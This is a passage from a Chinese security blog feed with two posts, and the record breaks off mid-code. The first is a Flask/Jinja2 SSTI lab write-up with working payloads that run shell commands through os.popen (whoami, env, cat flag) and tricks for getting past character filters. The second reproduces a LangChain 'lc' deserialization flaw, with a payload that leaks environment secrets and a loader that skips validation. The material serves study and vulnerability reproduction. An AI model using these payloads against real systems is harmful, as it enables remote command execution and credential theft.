&#125;&#125;(可以直接到位写，但是不一定是查询用户名)</span><br><span class="line">  &#123;% endif %&#125;</span><br><span class="line">&#123;% endfor %&#125;</span><br><span class="line">strip() 会移除：</span><br><span class="line">    空格：&quot; &quot;</span><br><span class="line">    换行符：&quot;\n&quot;</span><br><span class="line">    回车符：&quot;\r&quot;</span><br><span class="line">    制表符：&quot;\t&quot;</span><br><span class="line">    其他空白字符</span><br><span class="line"></span><br><span class="line">一步到位 直接查询 前提是得有这个类，不然的话还是要像前面一样找到能使用到builtins模块的类</span><br><span class="line">&#123;% for i in range(500) %&#125;</span><br><span class="line">  &#123;% if &#x27;&#x27;.__class__.__base__.__subclasses__()[i].__name__ == &#x27;catch_warnings&#x27; %&#125;</span><br><span class="line">    &#123;% for i in range(500) %&#125;</span><br><span class="line">  &#123;% set cls = &#x27;&#x27;.__class__.__base__.__subclasses__()[i] %&#125;</span><br><span class="line">  &#123;% if cls.__init__ and cls.__init__.__globals__ and cls.__init__.__globals__.get(&#x27;__builtins__&#x27;) %&#125;</span><br><span class="line">    索引 &#123;&#123; i &#125;&#125;: &#123;&#123; cls.__name__ &#125;&#125; 可以访问 __builtins__</span><br><span class="line">  &#123;% endif %&#125;</span><br><span class="line">&#123;% endfor %&#125;</span><br><span class="line">  &#123;% endif %&#125;</span><br><span class="line">&#123;% endfor %&#125;</span><br><span class="line"></span><br><span class="line">&#123;&#123;&#x27;&#x27;.__class__.__base__.__subclasses__()[包含builtins的类的序号].__init__.__globals__[&#x27;__builtins__&#x27;][&#x27;os&#x27;].popen(&#x27;whoami&#x27;).read()&#125;&#125;</span><br></pre></td></tr></table></figure><p>接下来开始打靶场</p><ol><li>没有防火墙限制</li><li>不能用<code>&#123;&#123;&#125;&#125;</code>,也就是说不能使用变量了，可以将变量作为语句来执行，也就是<code>&#123;%%&#125;</code>,和第一关一样，前面加上print输出就可以了。</li><li>卡住了，一直弹这个，看wp。”不出网” 指的是目标服务器<strong>无法主动访问外部网络</strong>。这个在之前的task6遇到过，<strong>静态文件</strong> 指的是内容在服务器上<strong>固定不变</strong>的文件。遇到不出网的可以直接写入静态文件来进行攻击，一般都是先检测一下能否正常写入在进行攻击。这是flask的静态目录<img src="/images/13.png" alt="Pasted image 20251108200208.png">，这里进行测试，<img src="/images/14.png" alt="Pasted image 20251108201935.png">，测试成功。<code>&#123;&#123;''.__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /app/flag >/app/static/12345.txt').read()&#125;&#125;</code>，然后访问这个路径就可以了。</li><li>这里ban了<code>[ ]</code>,但是用上面大佬总结的相同表达方式，可以直接用get,或者是pop，或者是<code>__getitem__</code>都可以<code>&#123;&#123;_wrap_close.__init__.__globals__.get('__builtins__').get('__import__')('os').popen('env').read()&#125;&#125; </code></li><li>ban了’和”，又没有思绪了，wp    URL 参数在解析时就已经是字符串request.args.a ，返回的是字符串 ‘os’，不是变量名 os这个过程在模板渲染之前就完成了。<img src="/images/12.png" alt="Pasted image 20251108205706.png"></li><li>ban了__,attr过滤器用于获取对象的属性。其基本用法是<code>&#123;&#123; object|attr('attribute_name') &#125;&#125;</code>，这相当于object.attribute_name.<img src="/images/11.png" alt="Pasted image 20251108211840.png">，也可以编码绕过 python解析器支持 hex ，unicode编码 （不建议用base64仅python2支持）。</li><li>不能用点号，那就用上面获取属性的方式<code>&#123;&#123; lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('env')['read']() &#125;&#125;</code></li><li>过滤了关键词，拼接绕过，用~，或者说单纯用到在 Python 和 Jinja2 中，相邻的字符串字面量会自动拼接。<code>&#123;&#123;lipsum['__glob'~'als__']['__builtins__']['__imp'~'ort__']('os')['pop'~'en']('env').read()&#125;&#125;</code></li><li>不能用数字，这个只有索引的时候会遇到数字，我们不用到subclasses就可以了<code>&#123;&#123;_wrap_close.__init__.__globals__['__builtins__']['__import__']('os').popen('env').read()&#125;&#125;</code> </li><li>这一关是查询到config,但是直接查询是none，没头绪，看wp。config可以在current_app得到，它是当前正在运行的 Flask 应用实例，记住就可以了<code>&#123;&#123;get_flashed_messages.__globals__['current_app'].config&#125;&#125;</code></li><li>后面都是这种限制了很多。这里学到了创建字典并且连起来的方式，看payload</li></ol><figure class="highlight plaintext"><figcaption><span>a</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&#123;%set b=dict(o=a,s=a)|join%&#125;</span><br><span class="line">&#123;%set c=dict(po=a,pen=a)|join%&#125;</span><br><span class="line">&#123;%set zhuru=dict(en=a,v=a)|join%&#125;</span><br><span class="line">&#123;%set d=dict(re=a,ad=a)|join%&#125;</span><br><span class="line">&#123;%set e=dict(ge=a,t=a)|join%&#125; </span><br><span class="line">&#123;&#123;lipsum|attr(a)|attr(e)(b)|attr(c)(zhuru)|attr(d)()&#125;&#125;</span><br></pre></td></tr></table></figure><p>在set创建一个字典后，把要拼接的作为键的一部分，然后用|join把键拼接起来。这里注意在global这个字典这里获取的是键值，所以用get或者是__getitem__。<br>12. bl<code>[&#39;_&#39;, &#39;.&#39;, &#39;0-9&#39;, &#39;\\&#39;, &#39;\&#39;&#39;, &#39;&quot;&#39;, &#39;[&#39;, &#39;]&#39;]</code>不能用这些，最难的就是下划线，首先看网上的教程，怎么做下划线，那这里也有数字，这里限制了数字，那么还要想怎么表达数字，这里学到用count，这里输了九个a，那么字符的长度就是9，用count来得到9。然后用相同的道理得到十八，最后得到下划线。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&#123;% set nine=dict(aaaaaaaaa=a)|join|count %&#125;&#123;% set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count %&#125;&#123;% set pop=dict(pop=a)|join%&#125;&#123;% set xhx=(lipsum|string|list)|attr(pop)(eighteen)%&#125;&#123;% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %&#125;&#123;% set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join %&#125;&#123;% set os=dict(os=a)|join %&#125;&#123;% set popen=dict(popen=a)|join%&#125;&#123;% set env=dict(en=a,v=a)|join%&#125;&#123;% set read=dict(read=a)|join%&#125;&#123;&#123;(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(env)|attr(read)()&#125;&#125;</span><br><span class="line">&#123;% set nine=dict(aaaaaaaaa=a)|join|count %&#125;</span><br></pre></td></tr></table></figure><ol start="13"><li>多了一个点，就用我上面的照样可以绕过</li></ol>]]>
    </content>
    <id>http://47.109.24.42/2026/01/07/SSTI%E9%81%97%E6%BC%8F%E7%9A%84%E7%9F%A5%E8%AF%86%E4%BB%A5%E5%8F%8A%E9%9D%B6%E5%9C%BAwp/</id>
    <link href="http://47.109.24.42/2026/01/07/SSTI%E9%81%97%E6%BC%8F%E7%9A%84%E7%9F%A5%E8%AF%86%E4%BB%A5%E5%8F%8A%E9%9D%B6%E5%9C%BAwp/"/>
    <published>2026-01-07T15:00:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="漏洞成因"><a href="#漏洞成因" class="headerlink" title="漏洞成因"></a>漏洞成因</h2><p>Flask模板注入漏洞通常是因为开发人员直接将用户输入作为模板内容进行渲染，而不是使用模板变量。例如，使用<code>ren]]>
    </summary>
    <title>SSTI遗漏的知识以及靶场wp</title>
    <updated>2026-01-07T15:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>xiexie</name>
    </author>
    <category term="漏洞复现" scheme="http://47.109.24.42/categories/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"/>
    <category term="学就完了" scheme="http://47.109.24.42/tags/%E5%AD%A6%E5%B0%B1%E5%AE%8C%E4%BA%86/"/>
    <content>
      <![CDATA[<h4 id="漏洞原理"><a href="#漏洞原理" class="headerlink" title="漏洞原理"></a>漏洞原理</h4><p>LangChain框架在处理LLM应用的复杂数据结构时，采用了定制的序列化机制。该机制与标准JSON序列化不同，它使用特殊的”lc”键作为内部标记，以区分普通Python字典与LangChain框架对象 lc 是 LangChain 内部标识字段 一旦load()或loads()反序列化时检测到 <code>lc</code>，就会 <strong>按 LangChain 对象解析</strong> LangChain 在 dumps() &#x2F; dumpd() 序列化用户数据时  <strong>没有对用户可控字典中的 <code>lc</code> 字段做隔离或转义</strong> 会让LangChain 误以为这是一个合法的内部对象</p><h4 id="版本范围"><a href="#版本范围" class="headerlink" title="版本范围"></a>版本范围</h4><p><strong>langchain-core</strong> &gt;&#x3D; 1.0.0 且 &lt; 1.2.5 或者&lt; 0.3.81 这里看文章 建议复现使用1.2.4版本 最稳定</p><h4 id="python虚拟环境"><a href="#python虚拟环境" class="headerlink" title="python虚拟环境"></a>python虚拟环境</h4><p>这个很早的时候就用过 但当时都只是为了减少反复安装的各种库 没有用在vscode上面 现在才知道 如果还需要给这个环境安装新包（比如 langchain 其他组件），可以直接在 VSCode 的终端中执行<code>pip install</code>命令，VSCode 会自动使用当前配置的<code>.venv</code>环境（无需手动激活）；也可以继续在 PyCharm 的终端安装，两边会共用这个虚拟环境的包，无需重复安装。这里在pycharm里面下好了漏洞版本</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install langchain-core==1.2.4</span><br></pre></td></tr></table></figure><p>然后配置到了vscode里面<br><img src="/images/6.png"><br>（后面还是用pycharm了 感觉要简约一点）</p><h4 id="调试理解"><a href="#调试理解" class="headerlink" title="调试理解"></a>调试理解</h4><ol><li>最简单的json会不会触发什么东西</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">from langchain_core.load import loads  </span><br><span class="line">import json  </span><br><span class="line">  </span><br><span class="line">payload = &#123;  </span><br><span class="line">    &quot;a&quot;: 1,  </span><br><span class="line">    &quot;b&quot;: 2  </span><br><span class="line">&#125;  </span><br><span class="line">  </span><br><span class="line">result = loads(json.dumps(payload))  </span><br><span class="line">  </span><br><span class="line">print(result)  </span><br><span class="line">print(type(result))</span><br></pre></td></tr></table></figure><p>得到输出</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#x27;a&#x27;: 1, &#x27;b&#x27;: 2&#125;</span><br><span class="line">&lt;class &#x27;dict&#x27;&gt;</span><br></pre></td></tr></table></figure><p>也就是证明了漏洞不是 loads 本身，而是 lc 协议<br>2. 加上lc 会出现什么变化</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">from langchain_core.load import loads</span><br><span class="line">import json</span><br><span class="line"></span><br><span class="line">payload = &#123;</span><br><span class="line">    &quot;lc&quot;: 1,</span><br><span class="line">    &quot;type&quot;: &quot;object&quot;,</span><br><span class="line">    &quot;value&quot;: &#123;</span><br><span class="line">        &quot;x&quot;: 123</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">result = loads(json.dumps(payload))</span><br><span class="line"></span><br><span class="line">print(result)</span><br><span class="line">print(type(result))</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>得到的结果已经不是payload那全部<br>而是{‘x’: 123}（这里理论上肯定是 但是跑不出来 不知道什么问题）<br>lc&#x3D;1 会让 loads()：不再走普通 JSON 路径 而是进入 LangChain 的 协议解析器<br>3. 自己调试</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">import json  </span><br><span class="line">from langchain_core.load import load </span><br><span class="line">  </span><br><span class="line"># 优化点1：添加调试用的打印，标记关键步骤  </span><br><span class="line">print(&quot;=== LangChain load函数调试脚本 ===&quot;)  </span><br><span class="line">print(&quot;请输入JSON格式的payload（示例：&#123;\&quot;lc\&quot;:1,\&quot;type\&quot;:\&quot;secret\&quot;,\&quot;id\&quot;:[\&quot;PATH\&quot;]&#125;）：&quot;)  </span><br><span class="line">raw = input().strip()  # 去除输入前后的空格/换行，避免JSON解析错误  </span><br><span class="line">  </span><br><span class="line">try:  </span><br><span class="line">    print(&quot;\n[调试步骤1] 解析JSON payload...&quot;)  </span><br><span class="line">    data = json.loads(raw)  # 把 JSON 字符串转成 Python dict    print(f&quot;解析后的data字典：&#123;data&#125;&quot;)  # 打印解析后的字典，确认payload格式  </span><br><span class="line">  </span><br><span class="line">    # 优化点3：反序列化操作单独拆分，方便断点调试  </span><br><span class="line">    print(&quot;\n[调试步骤2] 执行load反序列化...&quot;)  </span><br><span class="line">    obj = load(data)  # 核心反序列化操作，重点调试这一行  </span><br><span class="line">  </span><br><span class="line">    print(&quot;\n[调试结果] 反序列化后的对象：&quot;)  </span><br><span class="line">    print(f&quot;对象内容：&#123;obj&#125;&quot;)  </span><br><span class="line">    print(f&quot;对象类型：&#123;type(obj)&#125;&quot;)  </span><br><span class="line">  </span><br><span class="line">except json.JSONDecodeError as e:  </span><br><span class="line">    print(f&quot;\n[错误] JSON解析失败：&#123;e&#125;&quot;)  </span><br><span class="line">except Exception as e:  </span><br><span class="line">    print(f&quot;\n[错误] 反序列化失败：&#123;e&#125;&quot;)  </span><br><span class="line">    # 优化点4：打印异常详情，方便定位问题  </span><br><span class="line">    import traceback  </span><br><span class="line">  </span><br><span class="line">    print(&quot;异常堆栈：&quot;)  </span><br><span class="line">    traceback.print_exc()</span><br></pre></td></tr></table></figure><p>这里调试后 步入load函数里 能得到type的多个分支</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line">if (  </span><br><span class="line">    value.get(&quot;lc&quot;) == 1  </span><br><span class="line">    and value.get(&quot;type&quot;) == &quot;secret&quot;  </span><br><span class="line">    and value.get(&quot;id&quot;) is not None  </span><br><span class="line">):  </span><br><span class="line">    [key] = value[&quot;id&quot;]  </span><br><span class="line">    if key in self.secrets_map:  </span><br><span class="line">        return self.secrets_map[key]  </span><br><span class="line">    if self.secrets_from_env and key in os.environ and os.environ[key]:  </span><br><span class="line">        return os.environ[key]  </span><br><span class="line">    return None  </span><br><span class="line">  </span><br><span class="line">if (  </span><br><span class="line">    value.get(&quot;lc&quot;) == 1  </span><br><span class="line">    and value.get(&quot;type&quot;) == &quot;not_implemented&quot;  </span><br><span class="line">    and value.get(&quot;id&quot;) is not None  </span><br><span class="line">):  </span><br><span class="line">    if self.ignore_unserializable_fields:  </span><br><span class="line">        return None  </span><br><span class="line">    msg = (  </span><br><span class="line">        &quot;Trying to load an object that doesn&#x27;t implement &quot;  </span><br><span class="line">        f&quot;serialization: &#123;value&#125;&quot;  </span><br><span class="line">    )  </span><br><span class="line">    raise NotImplementedError(msg)  </span><br><span class="line">  </span><br><span class="line">if (  </span><br><span class="line">    value.get(&quot;lc&quot;) == 1  </span><br><span class="line">    and value.get(&quot;type&quot;) == &quot;constructor&quot;  </span><br><span class="line">    and value.get(&quot;id&quot;) is not None  </span><br><span class="line">):  </span><br><span class="line">    [*namespace, name] = value[&quot;id&quot;]  </span><br><span class="line">    mapping_key = tuple(value[&quot;id&quot;])  </span><br><span class="line">  </span><br><span class="line">    if (  </span><br><span class="line">        namespace[0] not in self.valid_namespaces  </span><br><span class="line">        # The root namespace [&quot;langchain&quot;] is not a valid identifier.  </span><br><span class="line">        or namespace == [&quot;langchain&quot;]  </span><br><span class="line">    ):  </span><br><span class="line">        msg = f&quot;Invalid namespace: &#123;value&#125;&quot;  </span><br><span class="line">        raise ValueError(msg)  </span><br><span class="line">    # Has explicit import path.  </span><br><span class="line">    if mapping_key in self.import_mappings:  </span><br><span class="line">        import_path = self.import_mappings[mapping_key]  </span><br><span class="line">        # Split into module and name  </span><br><span class="line">        import_dir, name = import_path[:-1], import_path[-1]  </span><br><span class="line">        # Import module  </span><br><span class="line">        mod = importlib.import_module(&quot;.&quot;.join(import_dir))  </span><br><span class="line">    elif namespace[0] in DISALLOW_LOAD_FROM_PATH:  </span><br><span class="line">        msg = (  </span><br><span class="line">            &quot;Trying to deserialize something that cannot &quot;  </span><br><span class="line">            &quot;be deserialized in current version of langchain-core: &quot;            f&quot;&#123;mapping_key&#125;.&quot;  </span><br><span class="line">        )  </span><br><span class="line">        raise ValueError(msg)  </span><br><span class="line">    # Otherwise, treat namespace as path.  </span><br><span class="line">    else:  </span><br><span class="line">        mod = importlib.import_module(&quot;.&quot;.join(namespace))  </span><br><span class="line">  </span><br><span class="line">    cls = getattr(mod, name)  </span><br><span class="line">  </span><br><span class="line">    # The class must be a subclass of Serializable.  </span><br><span class="line">    if not issubclass(cls, Serializable):  </span><br><span class="line">        msg = f&quot;Invalid namespace: &#123;value&#125;&quot;  </span><br><span class="line">        raise ValueError(msg)</span><br></pre></td></tr></table></figure><p>也就是secret   not_implemented constructor</p><ul><li>secret 取id的唯一元素 要求id必须是只有 1 个元素的列表（比如”PATH”），如果id是”PATH”,”HOME”会直接抛ValueError（解包失败）；执行步骤：<br>第一步：检查self.secrets_map（LangChain 内置的密钥映射表，默认空），如果key（比如 PATH）在里面，返回映射值；<br>第二步：如果self.secrets_from_env为True（默认开启），检查key是否在系统环境变量中，且变量值非空  这就是能读取到完整 PATH 的核心原因；<br>第三步：以上都不满足，返回None。<br>那么基于一个简单的脚本 比如</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">import json</span><br><span class="line">import os</span><br><span class="line">import warnings</span><br><span class="line"># 过滤LangChain的Beta警告，避免干扰输出</span><br><span class="line">warnings.filterwarnings(&quot;ignore&quot;, category=UserWarning)</span><br><span class="line">from langchain_core.load import load</span><br><span class="line"></span><br><span class="line"># 1. 模拟服务器端设置敏感环境变量（secret）</span><br><span class="line">os.environ[&quot;FLAG&quot;] = &quot;flag&#123;This_is_flag!&#125;&quot;  # 这是要被读取的敏感secret</span><br><span class="line">print(&quot;=== 模拟漏洞服务器 ===&quot;)</span><br><span class="line">print(f&quot;服务器已设置敏感环境变量 FLAG = &#123;os.environ[&#x27;FLAG&#x27;]&#125;&quot;)</span><br><span class="line"></span><br><span class="line"># 2. 模拟接收用户可控的JSON payload（漏洞入口）</span><br><span class="line">print(&quot;\n请输入攻击payload（JSON格式）：&quot;)</span><br><span class="line">raw_payload = input().strip()</span><br><span class="line"></span><br><span class="line">try:</span><br><span class="line">    # 3. 服务器解析payload（信任用户输入）</span><br><span class="line">    data = json.loads(raw_payload)</span><br><span class="line">    # 4. 核心漏洞操作：调用LangChain的load函数反序列化（无任何校验）</span><br><span class="line">    obj = load(data)</span><br><span class="line">    # 5. 输出反序列化结果（泄露secret）</span><br><span class="line">    print(&quot;\n✅ 服务器返回结果：&quot;)</span><br><span class="line">    print(obj)</span><br><span class="line">except Exception as e:</span><br><span class="line">    print(f&quot;\n❌ 执行失败：&#123;str(e)&#125;&quot;)</span><br></pre></td></tr></table></figure><p>当我输入一个这个简单的payload </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;lc&quot;:1,&quot;type&quot;:&quot;secret&quot;,&quot;id&quot;:[&quot;FLAG&quot;]&#125;</span><br></pre></td></tr></table></figure><p>之后 lc&#x3D;1 确认是 LangChain 的序列化数据<br>读取<code>type</code>字段<br>先检查LangChain 内置的密钥映射表  这里模拟不了 就先放着了 一般也是在环境变量里面去找 然后检查key是否在系统环境变量中 这里我是直接定义了一个变量 所以就在环境变量里面嘛 肯定是有的 然后重新看load函数的执行过程</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">if self.secrets_from_env and key in os.environ and os.environ[key]:  </span><br><span class="line">        return os.environ[key]  </span><br><span class="line">    return None  </span><br></pre></td></tr></table></figure><p>拿到环境之后就是return了<br><img src="/images/8.png"><br>类似的 还有PATH也可以看看 本地的</p><ul><li>not_implemented 处理 LangChain 不支持序列化的对象（比如自定义的未实现序列化接口的类）；很少主动用到，主要是 LangChain 内部处理异常序列化数据的兜底逻辑。</li><li>constructor<br>假设 payload：<code>{&quot;lc&quot;:1,&quot;type&quot;:&quot;constructor&quot;,&quot;id&quot;:[&quot;evil_pkg&quot;,&quot;env_reader&quot;,&quot;EnvReader&quot;],&quot;kwargs&quot;:{&quot;key&quot;:&quot;SECRET_KEY&quot;}}</code></li></ul><table><thead><tr><th>步骤</th><th>操作</th><th>语法 &#x2F; 代码</th><th>示例结果</th></tr></thead><tbody><tr><td>1</td><td>拆分模块路径和类名</td><td>扩展解包：<code>[*namespace, name] = value[&quot;id&quot;]</code></td><td><code>namespace = [&quot;evil_pkg&quot;,&quot;env_reader&quot;]</code>（模块路径）<br><br><code>name = &quot;EnvReader&quot;</code>（类名）</td></tr><tr><td>2</td><td>类路径转元组（用于映射）</td><td><code>mapping_key = tuple(value[&quot;id&quot;])</code></td><td><code>mapping_key = (&quot;evil_pkg&quot;,&quot;env_reader&quot;,&quot;EnvReader&quot;)</code></td></tr><tr><td>3</td><td>校验命名空间（第一层安全校验）</td><td>检查 <code>namespace[0]</code> 是否在 <code>valid_namespaces</code>（默认允许 <code>langchain</code> 相关）</td><td>若 <code>evil_pkg</code> 在合法列表，校验通过；否则抛错</td></tr><tr><td>4</td><td>动态导入模块（核心）</td><td>优先查映射表 → 再查禁用列表 → 最后直接导入：<br><br><code>mod = importlib.import_module(&quot;.&quot;.join(namespace))</code></td><td>拼接模块路径 <code>evil_pkg.env_reader</code>，导入该模块</td></tr><tr><td>5</td><td>从模块中获取类</td><td><code>cls = getattr(mod, name)</code></td><td>从 <code>evil_pkg.env_reader</code> 中拿到 <code>EnvReader</code> 类</td></tr><tr><td>6</td><td>校验类继承（第二层安全校验）</td><td><code>if not issubclass(cls, Serializable): 抛错</code></td><td>若 <code>EnvReader</code> 继承 <code>Serializable</code>，校验通过</td></tr><tr><td>7</td><td>实例化类并返回</td><td><code>kwargs = value.get(&quot;kwargs&quot;, {})</code><br><br><code>obj = cls(**kwargs)</code></td><td></td></tr></tbody></table><p>这里去尝试脚本 看看能否用constructor 做到阅读环境变量以外的其他操作<br>经过一下午的尝试 终于搞出来了除了看环境变量的其他操作了<br>因为是自己在本地搞出来的 所以payload有局限性 真实环境的id取决于模块和类 然后加上langchain的内部引用有一些问题 只能去替用原生的方法 实在是没招了</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br></pre></td><td class="code"><pre><span class="line">import json  </span><br><span class="line">import os  </span><br><span class="line">import sys  </span><br><span class="line">import warnings  </span><br><span class="line">from langchain_core.load import load  </span><br><span class="line">  </span><br><span class="line"># 移除所有langchain内部引用，自己实现动态导入逻辑  </span><br><span class="line">  </span><br><span class="line"># 过滤Beta警告  </span><br><span class="line">warnings.filterwarnings(&quot;ignore&quot;, category=UserWarning, message=&quot;The function `load` is in beta.*&quot;)  </span><br><span class="line">sys.path.append(&quot;.&quot;)  # 确保能导入malicious_modules  </span><br><span class="line">  </span><br><span class="line">  </span><br><span class="line">def custom_load_constructor_payload(payload_data: dict):  </span><br><span class="line">    &quot;&quot;&quot;自己实现constructor类型payload的解析，绕开langchain校验&quot;&quot;&quot;  </span><br><span class="line">    # 从payload中提取id和kwargs  </span><br><span class="line">    id_list = payload_data[&quot;id&quot;]  </span><br><span class="line">    kwargs = payload_data.get(&quot;kwargs&quot;, &#123;&#125;)  </span><br><span class="line">  </span><br><span class="line">    # 解析id为模块路径和类名（和langchain逻辑一致）  </span><br><span class="line">    *namespace, class_name = id_list  # 拆分模块路径和类名  </span><br><span class="line">    module_path = &quot;.&quot;.join(namespace)  # 拼接模块路径（如&quot;malicious_modules.env_reader&quot;）  </span><br><span class="line">  </span><br><span class="line">  </span><br><span class="line">    try:  </span><br><span class="line">        module = __import__(module_path, fromlist=[class_name])  </span><br><span class="line">    except ModuleNotFoundError:  </span><br><span class="line">        raise ValueError(f&quot;模块不存在：&#123;module_path&#125;&quot;)  </span><br><span class="line">  </span><br><span class="line">    # 获取类  </span><br><span class="line">    try:  </span><br><span class="line">        target_class = getattr(module, class_name)  </span><br><span class="line">    except AttributeError:  </span><br><span class="line">        raise ValueError(f&quot;类不存在：&#123;class_name&#125;（模块：&#123;module_path&#125;）&quot;)  </span><br><span class="line">  </span><br><span class="line">    # 实例化类并返回  </span><br><span class="line">    return target_class(**kwargs)  </span><br><span class="line">  </span><br><span class="line">  </span><br><span class="line"># 拦截langchain的load函数，对constructor类型payload用自己的逻辑  </span><br><span class="line">def my_load(payload_data: dict):  </span><br><span class="line">    if payload_data.get(&quot;type&quot;) == &quot;constructor&quot; and payload_data.get(&quot;lc&quot;) == 1:  </span><br><span class="line">        # 自己处理constructor类型  </span><br><span class="line">        return custom_load_constructor_payload(payload_data)  </span><br><span class="line">    else:  </span><br><span class="line">        # 其他类型用langchain的默认load  </span><br><span class="line">        return load(payload_data)  </span><br><span class="line">  